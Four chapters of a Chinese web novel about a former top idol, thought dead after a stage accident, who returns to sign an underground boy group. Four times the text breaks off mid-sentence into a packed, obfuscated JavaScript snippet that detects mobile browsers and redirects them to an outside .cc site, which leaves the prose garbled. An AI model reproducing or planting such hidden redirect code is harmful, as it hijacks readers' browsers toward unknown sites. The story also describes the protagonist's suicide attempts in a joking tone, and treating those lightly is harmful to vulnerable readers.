《经纪人是早死的顶流偶像？！》 1. 地下偶像-1 十二月，A市。 鹅毛大雪将这座钢铁森林盖得严严实实，人声也被一扇扇门窗锁闭。 苍白的天幕偶尔掠过几只鸟雀，啁啾声都显得稀疏，不敢吵醒沉睡中的A市。 却有一声尖锐的回授音刺破寂静。 这里是一处早已荒废的停车场。 充斥着铁锈味和汽油味的空气里，突兀地掺杂了一丝汗味。 穿过狭长的小巷，甚至能听见比回授音还要刺耳的争吵。 “我早就说了不可能有人来！”少年的咆哮掷地有声。 “没有观众，没有观众，没有观众！陈凡你能不能别做你那偶像梦了？我们陪你疯半年了，今天就为了你这破演出，还逼我跟组长请半天假。你明知道那组长看不惯我，你还帮他找借口开了我啊？！” “至少、至少等到四点半……俺们说了要演出到四点半……” “管你四点半五点半，你就算等到十二点半也不会有人来！” “别吵架啊，有话好好说嘛。” “是我想吵吗？我早就说了别干这什么破偶像，有前途吗？赔钱赔力气赔时间，跟他折腾这么久了，我还不够给脸吗？” 喧哗的吵闹声伴随着铁桶滚动的声音。 间或几声音响被人踢砸的闷响，名叫陈凡的少年被骂很久，涨红了脸，却不发一言地跑过去抱紧了音响，背朝同伴： “你要骂要打，就打俺好了！这回是俺选的时间地点不好，俺下次……” 愤怒中的少年怒目而视：“陈凡！这是时间地点的问题吗？你还要骗自己多久？！” 同伴纷纷劝阻：“算了算了，别激动、别打人。” 在偶像经济高度发达的A市，这样门可罗雀的舞台不计其数。 他们大多是出于爱好成为了“偶像”，但考不进偶像学院、得不到事务所的青眼，就只能兜兜转转在各个犄角旮旯里演出。 这类偶像，通常被称为“地下偶像”。 就在五个少年闹成一团的时候，一阵脚步打断了他们的争执。 有人不知何时走近了无人造访的停车场。 他单手插兜，戴着黑色的口罩。 过肩的黑发盖着大半张脸，以致少年们都看不清他的表情。 只是透过停车场外呼啸的雪风，那点影影绰绰的人影确实停在了门前。 “是观众！”陈凡大叫。 几人立刻散开，虽然上一秒还在面红耳赤地打架，这一秒却都不约而同回到各自的站位。 “您、您好！”陈凡抓着麦克风，激动不已地喊，“俺们是CANDLE，欢迎来到CANDLE的世界——俺是说，俺们马上为您表演……” 他深吸一口气，眼眶甚至有些发酸。 为了这位难得的客人，也为了终于暂停的纠纷。 抽抽鼻子，陈凡努力压下委屈，启动了刚刚遭到重创的音响。 配乐如流水般淌出，同伴默然而立，提前设置好的粗陋灯光打在陈凡的脸上。 那点斑驳的泪痕实在掩藏不住。 但这不妨碍他扬起笑容，迈开舞步： “——向前一步，这里是光。” - 神秘观众看完了他们的这次舞台。 短短四分钟，五名少年汗如雨下，气喘吁吁。只有陈凡还有余力撑起身体，笑容灿烂：“请稍等，还有第二首！” 观众却从倚墙的站姿变回了普通站立。 他扭头看了看风雪消停的停车场外，未置一词，平静地挥挥手，扬长而去。 陈凡的笑容僵在脸上。 不知道过去了多少秒。 身后传来窸窸窣窣的动静，是同伴在收拾东西。 “等等，张越、唐昕……还没有到四点半呢。” 张越汗湿的碎发紧贴脸庞，不再像之前那样暴怒，这次他投向陈凡的目光意外地平静：“结束了，陈凡。” “哪里结束了？俺们说好了四点半。你看，刚才就有观众来了。还看完了俺们的《Flame Storm》。” “他是来看舞台吗？你醒醒吧，人家是来躲雪的！” “可是、可是……” 张越拂开他的手，拎起背包。 其他人也陆续收拾好东西，沉默地拍拍陈凡肩膀：“算了吧，陈凡。至少今天都先回去休息一下。” 陈凡这次真的哭了。 他已经不知道怎么劝阻朋友们，只能无措地拉住他们。 事实上，这种近乎耍赖的手段他也用过无数次。大家脸上的疲惫和厌烦不是假象，陈凡看得出，所有人都走到了放弃的边缘。 可是、可是他就是不甘心！ 还记得两年前初到A市，来自乡下的他走到哪里都受尽白眼。 唯独LED大屏上播放的视频录像，一支偶像团体刚刚结束表演，作为队长的少年拿起麦克风，正在微笑致辞。 初次见识舞台的陈凡早就看呆。 他从未见过这么富有张力的形体，四个人的舞姿和歌喉都胜过他曾经知道的所有。 绚烂的灯光、璀璨的笑容、完美的表演。 当那个队长开口：“大家好，我们是FLAME！” “上台前我们安祈特紧张，明明都是老人了，上台阶还踩了我好几脚。幸好，正式表演的时候没有再踩我，感恩感恩。” 台下一片笑声。 队长继续笑盈盈说：“不过真的踩到也没关系，因为排练时小赢和Liar也没少踩我……哇，看表情他们现在甚至想踹我。” 镜头给到他的同伴们。 三人反应各异，有人漠视，有人怒视，有人羞愧低头。 但观众们都笑开心了。 队长脸上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429658|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑容随之更盛： “好，能让大家欢笑就是FLAME的使命啦！就算我被踩成瘸子也甘之如饴！ “以后也请一直开心，我们也会全力以赴，守护大家的笑容。” 他道：“向前一步，这里是光。” 那天，陈凡确信自己爱上了屏幕上的少年偶像。 前FLAME队长，银灯。 那也是他想要成为偶像的第一天。 “你们不要走——”陈凡哭着拉住同伴，“俺们以后肯定会出名的，俺们签星造所，俺们、俺们会爆火的，就像FLAME那样……” 但是没有人再回应他的央求。 张越、唐昕、岳启明……大家陆陆续续地走出停车场。 灯光暗淡，只有最后一个同伴还在身后，犹豫着唤他：“陈凡？” 苏雪枝也很后悔答应陈凡加入这个地偶团。 他和其他人都不熟悉，只是和陈凡相识于一次FLAME签名会。 但只是那一次，都让苏雪枝倍感丢脸。 因为FLAME早就经历重组，除了安祈，其他三人都已不在队里。 可陈凡并不知情，他偶然看到前FLAME的录像，对前队长银灯一见钟情，就来到了那次签名会。 然后大声质问为什么没有银灯。 彼时场内一片死寂，都以为他是来砸场子的。 向来胆小社恐的苏雪枝就排在陈凡身后，想解释又无从开口。直到陈凡被保安带离，他才鼓起勇气跟出去。 告诉他：“之前发生了一场事故，银灯当场坠下升降台。点梦所没有公开具体情报，但是……FLAME早就不是当初那个FLAME了。” 后来他就成了陈凡的“朋友”。 还被陈凡拉来一起当地下偶像。 不过，现在看来，应该是泡汤了吧？ 苏雪枝如释重负。 他根本不看好所谓CANDLE，只是没办法拒绝陈凡。 还好其他人都放弃了，那他也可以适时道别。 又是一阵脚步打断了他酝酿很久的道歉。 刚才的神秘观众去而复返，似乎对于变得空旷的停车场有些疑惑：“人呢？” 陈凡眼睛都肿成了核桃，抬起头，哽咽解释：“对、对不起，大家有事先走了。俺、俺和小雪还可以表演……” 神秘观众静了一会儿，抬手拂开被风吹乱的长发。 接着，他抬脚走了进来。 “你，动作太硬，唱歌太干，基础为零。笑得也是傻里傻气。” 观众淡淡说着，目光移向苏雪枝，“至于你，是有意压虚气息的吗？跳舞动作也唯唯诺诺，没有诚意。” 两人呆在原地。 又听这位观众继续： “我姓尹，现在正计划创办一家事务所。你们团有兴趣跟我签约吗？” 2. 地下偶像-2 【荒唐，太荒唐！宿主你怎么可以这么饥不择食，就他俩那水平也签，令统不齿！】 系统的尖叫在脑袋里回响，尹灯拍拍被它吵得发麻的脑袋，继续等待陈凡和苏雪枝的回答。 不过，阴谋什么的谈不上…… 他也确实不是真心奔着“顶流”来的。 三年前，尹灯还是“银灯”。 作为偶像行业首屈一指的存在，银灯是不折不扣的行业标杆。他带领的FLAME出道两年就斩获巨量人气，多项奖项拿到手软。 点梦所原本濒临倒闭，但因为FLAME的横空出世，得以起死回生。 外形、声乐、舞蹈、表演，银灯的一切都无可挑剔。 但就像网友评价白月光一样： “TA什么都会，唯独不会活着。” 三年前的一次演出事故，银灯在众目睽睽下跌落升降台，生死不明。 而后FLAME原队员陆续解约，面临重组。 没有人解释银灯的失踪，也没有人知道银灯的去向。就这么销声匿迹三年后，他终于在粉丝心中潇洒“去世”。 尹灯也在事故后立刻删除了所有熟人的联系方式。 只有前经纪人和他接头完成解约，尹灯旋即出走，计划找一个无人认识的地方独自嗝屁。 然而—— 这个笨蛋系统找上了他。 【你本来把脊椎都摔断了，是统救了你哦！】 系统洋洋得意，【作为报答，快来和统签订契约，重回顶流吧！】 尹灯：“……” 脊椎都摔断了才摆脱工作，居然还劝他打工，好歹毒！ 尹灯自认对偶像完全无感。 此前兢兢业业干成劳模，纯粹是这份工作给的太多。 所以当系统提出契约内容是“重回顶流”，尹灯冷冷一笑，躺回了自己在深山老林购入的破木屋。 听说这里虎狼出没，一定能把他大快朵颐。 系统：【哇刚才有老虎来了，宿主别怕，统给你设了屏蔽结界，它闻不到你！】 尹灯：“……” 他又买了炭火在屋内闭窗焚烧。 系统：【宿主你该找个对象了，不过没事，没对象也有统帮你灭火。】 尹灯：“……” 这回他选择割腕。 系统：【宿主勿忧，统有止血凝胶！】 终于他攒够了安眠药。 系统：【洗胃是比较浪费积分啦，不过为了宿主，统什么都愿意做。】 耗时三年，拜这位系统所赐，尹灯的赴死计划进度为0。 他承认自己有点想笑了。 尹灯不得不接受有系统在他就不能安然死掉的设定。 他问系统：“你到底为什么缠着我？” 系统答：【嘤嘤嘤，统当然是为了宿主身上无可匹敌的顶流光环。只要有宿主在，任何舞台都会大放异彩。】 “……”尹灯疲惫地劝诫，“擦亮眼睛吧统。” 【可恶——】 【好吧！统一开始就说过，只要宿主重回顶流，统就会满足宿主一个愿望。哪怕宿主唯一的心愿就是去死……统也可以答应宿主！】 “你是指？” 【统不会再干涉宿主的决定啦！】 第三年的最后一个月，尹灯买了返回A市的机票。 只要重回顶流，他就可以自由地去死。 这个诱惑压过了尹灯对舞台的厌恶。 所以当他回到物是人非的A市，并迷路到CANDLE的表演现场…… 职业偶像尹灯第一次看到这么粗糙的表演。 表演的还是FLAME的代表作。 叹为观止，礼貌离开。 然而离开五分钟后，尹灯看了看自己一片清白的通讯录。 三年前，他好像把旧友们删得彻底。 以及最新热搜： #FLAME燃爆现场！巨星安祈实至名归# 【这不是一直嫉妒宿主，还害得宿主出事的那个坏蛋吗！】 系统愤愤不平。 尹灯：“没有的事。” 【这个坏蛋居然成了大明星！不公平！明明宿主才是大明星，唯一的大明星！】 尹灯重复：“没有的事。” 但跟一个笨蛋系统讲理也挺无力的。 不如说，连系统都这么觉得，其他事务所恐怕更怀疑他和安祈矛盾尖锐吧？ 那还有谁敢接纳一个过气三年，和现任顶流还有旧仇的老骨头？ 尹灯摸摸下巴。 除了以前的队友，他想不出别的可能。 可他回来前查过大家的现状： 小赢现在算黑红，自身难保； Liar转型去了影视圈，有心无力。 难道要投奔安祈，回到面目全非的FLAME？ 尹灯毫不犹豫打消了这个念头。 这时，他想起了停车场里那群笨拙的少年。 ——笨，但年轻。 一个前所未有，却很有尝试价值的念头浮现于心： 似乎有一种办法，可以让他既不用站上舞台，又有望和“顶流”挂钩。 尹灯去而复返。 停车场里却只剩下陈凡和苏雪枝了。 - “您、您是哪家事务所？星造吗？还是点梦？” 陈凡说话时还带着哭腔。 发现尹灯一次又一次地摇头，陈凡有些心虚了：“那是……日出所吗？” 尹灯还是摇头：“你一上来就想签三大所？” 陈凡缩缩脖子，惭愧地咳嗽。 三大所是业内公认的追梦圣地，资源极好，曝光也高。 同样，他们对人才的筛选也很严格。像陈凡这样的水准，绝对不可能进三大所的法眼。 “俺不是那个意思！只是不太了解其他所。” 苏雪枝躲在陈凡后边，小心翼翼地拉他袖子。 他倒不全是自卑，而是觉得尹灯实在可疑得很。 此人黑风衣，黑口罩，发型也毫无时尚可言，怎么看都不像圈内人。 虽然气质是很出挑，眼光也很毒辣，可是说话阴沉沉的，叫人发慌。 尹灯道：“没事，你提出了一个很好的问题。的确， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429659|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事务所的命名还要斟酌一下。” 陈凡：“……” 陈凡：“你们所甚至还没取名吗？！” 尹灯安抚他：“别担心，我是成年人，可以注册事务所的。” 两人：“………” 完全没有被安慰到！！ “对不起，小雪身体很弱，器官不值钱。俺普通话不标准，也干不好电诈。” 陈凡抽泣着说。 苏雪枝默默点头。 尹灯噗地笑了。 他偏过脸笑得肩膀发抖，陈凡小心地打量，看到尹灯黑发里露出的雪白皮肤，惹眼非常，害他发了片刻的呆。 总觉得这个笑声，莫名地熟悉。 直到苏雪枝又拉拉他，尹灯也扭回头说：“这样，你们先把队员都召集起来，好好讨论一下。” 陈凡后知后觉地回神。 “那俺和您加个飞信？” 尹灯大方点头：“好。” 陈凡扫了他个人码，两人加上飞信。 苏雪枝一直躲在他的背后，用余光轻瞥手机上的新好友。 默认的头像，简洁的昵称。 尹灯的飞信昵称就叫“灯”。 苏雪枝只觉得这人邪门得过分。他两腿发软，迫不及待地想要逃走，又怕陈凡被人欺负，才在这里硬扛。 可是陈凡一下来了精神。 他两眼放光地看向尹灯：“尹先生，莫非您也是银灯的粉丝？！” 苏雪枝猛地打他一下。 银灯都消失三年了，怎么可能随地是粉丝。 而且只是昵称叫“灯”而已啊！ 尹灯也怔了瞬间。 想起这伙人刚才表演的《Flame Storm》，这位疑似队长的属性好像一眼分明。 他弯了弯眼：“粉丝说不上，但你要是喜欢银灯，我可以帮你弄到他的签名哦？” 陈凡哇地大叫，眼圈又红了。 他转过去抓住苏雪枝的肩膀：“小雪小雪！你听，银灯没有死，没有死啊，他还可以签名……呃，尹先生，您指的应该不是以前的签名，是新签名吧？” 尹灯失笑，但还是回答：“嗯，最新的签名。” 陈凡顿时趴回苏雪枝的肩膀，嗷嗷痛哭。 苏雪枝也被这一消息惊得半天回不过神，本就苍白的脸色更白几度。 理智告诉他不能轻信这个男人。 可是苏雪枝也曾是FLAME的粉丝，如果银灯真的还在，对他也是一则喜讯。 这份惊喜驱使他甚至忽视了自己的社恐，努力发出字音：“所、所以……请问……贵所……还会签约银灯，是这个……意思吗？” 虽然活跃只有短短两年，但银灯对偶像业界和粉丝们的影响是不可估量的。 那段时间，街头的大屏广告、海报，互联网的所有热搜，几乎全都和FLAME挂钩。 身为队长，也是队内的人气TOP，银灯就是毋庸置疑的顶流。 被两个小孩殷勤注视，饶是尹灯也有些说不出拒绝的话。 他沉默几秒，叹一大口气： “……也许……吧？” 3. 地下偶像-3 次日，陈凡叫齐了朋友，和尹灯约在一家咖啡馆。 但尹灯足足迟到了半个小时。 虽然已经在飞信上道歉，可张越等人还是对自称经纪人的尹灯有了极其糟糕的第一印象。 尹灯一边对手心呵着暖气，一边入座：“我在国外待了几年，对现在的A市不太熟悉，不好意思。” 陈凡代表众人表示无碍。 尹灯便取出自己准备好的资料，摆到几人面前。 这是他昨晚手写的，都是几人的表现分析。 “虽然只看了一场表演，但我差不多知道你们的短板了。” 他用笔指了指张越，“这个看着就脾气不好的同学，rap是爱好吗？咬字太含糊，节奏也不够，回头让我听听你的音域，还不如专心练一下唱歌。” “还有这个笑眯眯的同学，你的舞蹈不错哦，下盘很稳。陈凡说你们以前一个村的，但你普通话也比他好，我看好你来做队长，MC的工作可以交给你。” 他指的是唐昕。 最后是岳启明：“你嘛，没什么很好也没什么很弱，中中间间。不过稳定就是优点，有机会换个风格，也许有惊喜。” 三人都听得眼睛发直。 陈凡只介绍了尹灯是他的同担，能提供银灯的签名，还想跟他们签约。 但几个人根本不信，这一趟就是为了拆穿尹灯来的。 结果尹灯居然真的在分析他们的优缺点。 张越张了张嘴，拉着脸：“别演了，你是不是想骗钱？接下来就是什么培训费、服装费、手续费，我们可不信，要骗你骗陈凡一个人就行。” 还在写写画画的尹灯抬起眼：“现在钱这么好赚？” 陈凡忙道：“如果真的能有表演机会，这些费用俺都可以交啊。俺来就好，不用你们交的。” 张越恨铁不成钢：“你是不是蠢？上赶着给人送钱？这明摆着就是骗子啊！” 唐昕也握住陈凡的手：“小凡，我们知道你心里着急。其实也是这半年一直没什么观众，我们才有点气馁了。要不然，让我们休息一下，下个月还陪你排练好不好？” 岳启明一言不发，但点头时眼神坚毅得像个兵。 尹灯：“……” 他看明白了，小孩们来这儿是准备把他扭送派出所。 系统义愤填膺：【有眼无珠的笨蛋们！】 陈凡被朋友们感动得稀里哗啦，眼见就要服软。 还是苏雪枝弱弱地出声：“那个……还是听尹先生再说几句吧……我、我觉得他分析的……都很对……” 和陈凡他们不同，苏雪枝在A市长大，从童年就接触偶像文化。 他早就看出这些人的短板，也觉得他们朽木不可雕，所以一起表演时，苏雪枝都不想全力以赴——他怕自己太惹眼，引来别人的视线。 可是这么久了，从来没人发现。 只有这个尹先生昨天一语中的。 哪怕是骗子，尹先生应该也是懂点偶像的骗子。 所有人都因为苏雪枝难得的说话而安静下来。 尹灯正好解释：“我什么时候说过要培训费服装费？那些东西当然是由事务所去拉赞助搞定，你们只要签个合同。” 张越睁大眼睛，身体缓缓后仰： “那，你真的是想要我们的器官？” 尹灯：“我昨晚已经提交了注册申请，不出意外，十五个工作日内就能完成。对了，事务所名字借了你们队名，CANDLE。” 陈凡支支吾吾：“可俺们还没答应……” 尹灯：“现在不答应也得答应。不然你们换名。” 一帮小孩又成了鹌鹑。 尹灯目测他们年纪都在16~18这个区间，平日拿主意的多半就是陈凡和唐昕。 但现在这个主意确实太大了，俩人面面相觑，都不敢说话。 对小孩而言，尹灯知道自己有些咄咄逼人。 不是每个人的16岁都能跟他一样疯不畏死。 他只好叹息，放下资料：“那你们讨论一下，我出去十分钟。” 男孩们大松一口气。 陈凡感激满满地对他点头，尹灯不置可否，快步出去了。 - 【他们真不识趣！】 系统火冒三丈，【贵人当前，不知进取，令统愤怒！宿主不要签他们了，你去挖那些职业偶像不好吗？再差，咱们也挖学院里那批应届生嘛，谁要这些野小孩！】 尹灯慢悠悠道：“我以前也是野小孩。” 系统“唔”一声：【宿主是不一样的！宿主是天才！】 尹灯站停在路边一棵树下，把头埋进围巾里笑。 “天才”，这个形容曾经充斥他的生活。 职业偶像分为两类，其中绝大部分都是从专门的学院毕业，经受过系统教育的学院系偶像。 这类偶像往往基础功扎实，抗压能力强，再差也有限度。 而尹灯是另一类——人们称之为“天降系”。 天降系通常是背景深厚突发奇想的二代，或者事务所星探们偶然发掘的原石。 他们的共性就是不曾接受偶像学院的专门培养。 因此，天降系偶像要么杀出重围，成为惊喜，要么光速陨落，无人问津。 而尹灯是罕见的惊喜中最令人惊喜的一个。 “我不是天才。”尹灯说，“我只是抢了别人的运气。” 系统说不出话。 好一会儿，它尝试转移话题：【宿主，如果真的成立事务所，我们去哪里拉赞助呢？】 “我去站街。” 【……】 【………宿主又在开玩笑啦，令统发笑，哈哈哈。】 “站街又不是寻死，你连这个也干涉？” 【那宿主能不能回到顶流再站？那时候身价更高啊。】 这回沉默的变成尹灯了。 他严重怀疑系统其实就是他的某个过激事业粉。 除了“顶流”，相处三年的人统之间无话可说。 令人心寒。 正心寒着，尹灯的手机突然亮了。 一通电话打了进来，没有备注，但只是那串手机号都让尹灯觉得烫眼。 几乎是身体本能的反应，他不假思索地挂断。 系统大惊：【这是谁？宿主不是回国后才重新启用这张卡吗？怎么还有人打过来？】 尹灯却微微皱起眉。 他后悔了刚才直接挂断的举动。 他应该搁置。 这样直接挂断，分明是让对方察觉到他真的在用这个号码。 “下午得去换张卡了。”尹灯没有作答，只是轻飘飘地结束话题。 - 此时在A市另一端的点梦所内，会议室还未坐满，人们都在把玩各自的手机。 其中一人突然停住了动作。 他难以置信地回忆着刚才听筒里的语音。 再也不是长达三年的“已关机”，而是明确的挂断。 “砰”！ 座椅在滑轮的作用下撞上玻璃墙壁，所有人都看向突然弹起来的队长。 向来沉默寡言、喜怒不形于色的队长竟然这样失态。挑染的深蓝发丝轻拂脸颊，掩住他眼中汹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15429660|169181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 涌的浪。 “安祈？”刚进会议室的中年男人皱了皱眉，“你站起来坐什么，会议要开始了。” 安祈抿了抿唇，冷淡答复：“有事。” 说罢便冲出了会议室。 他抖着手再次拨打那串号码。 备注的“银灯哥哥”四个字像在发烫，害他拿不稳手机，好几次才终于拨通。 然而这次又变回了熟悉的“已关机”。 就像刚才只是一场幻梦。 安祈的快跑变成慢走，渐渐停在了点梦事务所的大门口。 四下人来人往，无数眼光打量着他，又惶恐地挪走。 安祈将手机越握越紧，最终吁一口气。 就和三年里的每一天一样，他默默将手机停在耳边，听着重复的“已关机”。 一遍、两遍、三遍……直到通话自动结束。 不知过去多久，他放下手机，别无他话。 - 十分钟后，尹灯回到咖啡馆，五个男孩正襟危坐，显然已经得出了结论。 “抱歉，尹先生。” 唐昕带头鞠躬，“坦白说，我们完全不觉得自己有做偶像的天赋，去做地下偶像也是一时兴起。很感谢您的指导，但我们可能还是更倾向自娱自乐就好。” 其他人也跟着低头。 尹灯用审视的目光扫过他们，确定这是他们商讨一致的结果。 虽然很遗憾，但他不是不能理解。 出于个人原因，尹灯也不打算立刻自证身份。 况且现在的CANDLE远没有优秀到非他们不可。 “好吧，我尊重你们的选择。”尹灯抽出五张一百元塞到陈凡手里，“昨天的演出我还没有预约过，这是门票钱。” 陈凡一怔：“尹先生……” “你们的饮品我也结过账了，那么，有缘再会。” 尹灯点点头，准备利落地离场。 苏雪枝的手指动了动，看向桌上的四杯饮品，都是CANDLE的大家点的。 只有尹灯和他没有点单。 不如说，尹灯从来没摘下过他的口罩。 心念电转，苏雪枝也觉得荒唐，但他心里油然而生一个猜想。 “尹先生……！” 苏雪枝破天荒地放大了声量。 他迈开腿，横冲直撞地奔向尹灯的背影。 那是前所未有的力道和速度，看得陈凡等人心惊不已。 陈凡也毫不犹豫追了上去：“小雪！” 尹灯看上去散漫，速度却快得惊人。 背影消失在咖啡馆外的人潮里，苏雪枝站在门前一阵张望，心焦不已，终于看到街角一点黑影，眼见就要转弯。 他必须奋不顾身地冲过去。 “小雪、小雪？你干嘛跑这么快！” 陈凡跟着在人群里冲撞。 似乎听到他们的动静，尹灯拐弯的脚步顿了顿。 刚转过头，一颗毛茸茸的脑袋撞进他的怀抱。 苏雪枝跑得双腮微红，一路引起无数路人的回望。此刻雪白的绒帽压住微卷的黑发，真的像极了白雪压枝。 苏雪枝猛地弹出尹灯的双臂，趔趄着勉强站稳。 “小心一点啊。”尹灯笑道。 苏雪枝却没有接话，相反，他的胸腔剧烈起伏着。 好几秒后，苏雪枝发出细若蚊讷的询问：“……银、银灯？” 尹灯的表情未变，只有眼睛里光闪了片刻。 陈凡越来越近。 苏雪枝屏息凝神，终于等到他期待的回复： “嘘，要保密哦。” 4. 地下偶像-4 等陈凡追上苏雪枝时，尹灯已经转过街角，隐没在人海里。 陈凡担心地摇他胳膊：“小雪，你怎么了？” 苏雪枝却还痴痴望着尹灯的方向。 陈凡在他眼前晃了好几下不见回应，越发担心：“小雪？” 苏雪枝回过神，死死抓住他：“陈凡……快联系尹先生。” “诶？可是俺们刚刚才拒绝他了。” “不……不可以……”苏雪枝急促地喘息着，揪着陈凡的衣袖，“你快联系尹先生！” 陈凡从未见过苏雪枝这副模样。 担心和困惑交加之下，陈凡还是依言点开和尹灯的飞信窗口。 苏雪枝急得发抖，连同陈凡都被他带得发抖。 [尹先生你好，你还在街上吗，小雪好像有话和你说] 不等尹灯回复，苏雪枝失态地拿过他的手机。 苏雪枝的打字速度非常快，几乎两三秒，一篇有头有尾的小作文就弹了过去： [尹先生，冒昧打扰万分抱歉。我是苏雪枝。久经考虑，我和陈凡都意识到刚才的结论实在欠妥，您的指导犹如春风化雨，使我们受益匪浅。请容许我们厚颜于此再次恳求，不知贵所是否还愿意接纳我们？无论结果，都感谢您曾给予的机会，期待您的回复。] 陈凡看得目瞪口呆。 好半天，他结结巴巴地挤出一句感慨：“小雪，你好有文化！” 苏雪枝气喘吁吁，无奈又无力地看他一眼。 他现在就像热锅上的蚂蚁，却不能直接告诉陈凡自己为何改变主意，斟酌好久，也只能遮遮掩掩地提醒：“不管其他人怎么决定……你……我们，我们一定要和尹先生签约……真的。” 陈凡不理解，但很乐意听话：“好，那俺再求一下尹先生！” 说完他就给尹灯发去几十秒的长语音： “尹先生俺们真的很想签约，拜托了拜托了拜托了，俺给你带俺们村的腊肉，就让俺们签约吧，反正除了俺们你也没签别人了。” 苏雪枝睁大眼睛，一颗心猛地吊起：“你怎么这么、这么失礼！” 但尹灯的回复居然紧随其后： [刚才在走路。] [梧桐山C区。直接过来吧。] - 梧桐山是A市的中高档小区，私密性高，住户都在中产以上。 得知尹灯居住在梧桐山，苏雪枝越发确信他的身份。 但碍于尹灯的叮嘱，他还是不能告诉陈凡和其他同伴。 这也导致张越等人都不打算陪同。 好在还有陈凡很讲义气，二话不说就和苏雪枝一起赶往梧桐山。 “小雪你放心，有俺在呢。” 陈凡抓着苏雪枝的肩膀，一本正经地摇晃，“万一他真是什么人贩子，俺就抱住他，你赶紧跑。” 苏雪枝被他颠了一阵，又感动又难受：“没……他……不会……” 出租车适时停下，陈凡抬起头，看向车窗外的小区大门：“啊，到了！” 话音未落，训练有素的保安已经注意到他们，上前询问。 越过保安的肩膀，陈凡还看到了倚在保安亭的男人。 照旧是一身黑色风衣，但内里已经换成了舒适的家居服。 尹灯转过头，和两少年汇上目光：“来了？” 斜靠的姿势恢复成站立，尹灯没等两人解释，径自道：“小刘，借你们巡逻车捎一程呗。” 顺便在一张照片上签下什么，塞给了保安小刘。 小刘通红着脸接过照片，站正了朝尹灯九十度鞠躬，字正腔圆：“没问题，尹先生！我的荣幸！！” 说完，他小跑到巡逻车边，一个闪电漂移，开出了F1赛车的架势，把巡逻车甩到尹灯跟前。 车顶的小彩灯边摇边亮，晃得陈凡移不开眼。 尹灯把笔别回衣袋，一撩衣摆坐上了副驾驶： “小朋友们，上车。” 简简单单的一套动作，由尹灯来做却格外地行云流水，极具风度。 陈凡看得呆了。 苏雪枝拉拉他的衣角，示意跟上，却听陈凡压低声音：“尹先生他……好帅啊。” 苏雪枝红了脸，用力点头。 这位可是银灯！ 在组合偶像风靡后能靠个人人气召开大型演唱会的偶像屈指可数，银灯就是其中之一。 风头最盛时，媒体都将他誉为偶像业界的“新王”。 梧桐山内建有一片人工湖泊，C区便是临湖而建的别墅区。 这里住户不多，别墅与别墅之间相隔甚远，因而静谧宜居，除了出行不便，几乎没有其他问题。 陈凡被风景潋滟的湖光山色夺走注意，苏雪枝却惴惴不安，盯着尹灯的后颈。 偏偏尹灯一言不发，一直专注于手机，好像对他们没什么话说。 还是陈凡一声惊呼：“哇，湖里有鱼诶！” 一尾锦鲤跃出漂亮的弧线，在阳光下熠熠生辉。 小刘笑了笑：“这片湖区投放的黄金锦鲤不多，您运气真不错，平时难得看到它们呢。” 尹灯接话：“小凡喜欢鱼？” “那没有，但俺喜欢玩水。尹先生，你们这湖可以洗澡吗？” 尹灯噗地笑了。 苏雪枝面上臊红，急忙拽两把陈凡。 幸好，巡逻车在这最尴尬的时候停下。 小刘擦擦手汗：“尹先生，您家到了。” C区23号的门牌就在眼前。 虽然尹灯说过他刚刚回国，但23号的外观依旧井然有序，明显有人时常清扫。薄雪覆在庭院林木之上，鹅卵石小径通向室内。 而室内仅开了氛围灯，暧昧的灯光隔开里外，像一层光帘。 “进来吧。” 尹灯开了指纹锁，两个少年亦步亦趋地跟上。 灯光大亮，狭长的酒台贯穿客厅，单面墙壁内嵌的玻璃柜里全是名贵的藏酒和器具。 怎么看这都不像正常人的住宅，而像是…… 派对聚会用的场地。 陈凡咽了一口唾沫，打量周围：“尹先生，俺相信你不是骗子了。你这根本就不差钱。” 尹灯从另一个房间回来，递出合同：“那倒没有。” 诚恳地说，他还是挺差钱的。 这处别墅是尹灯最后的保障，看着气派，但一屁股欠款，带上家具折价能有大几百万，可家具也不全是他的。 要正儿八经开一家事务所，这点钱不见得够。况且卖了这里，他还得额外找地方住。 不过这些不是偶像要操心的事。 “前期的训练费用先由事务 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 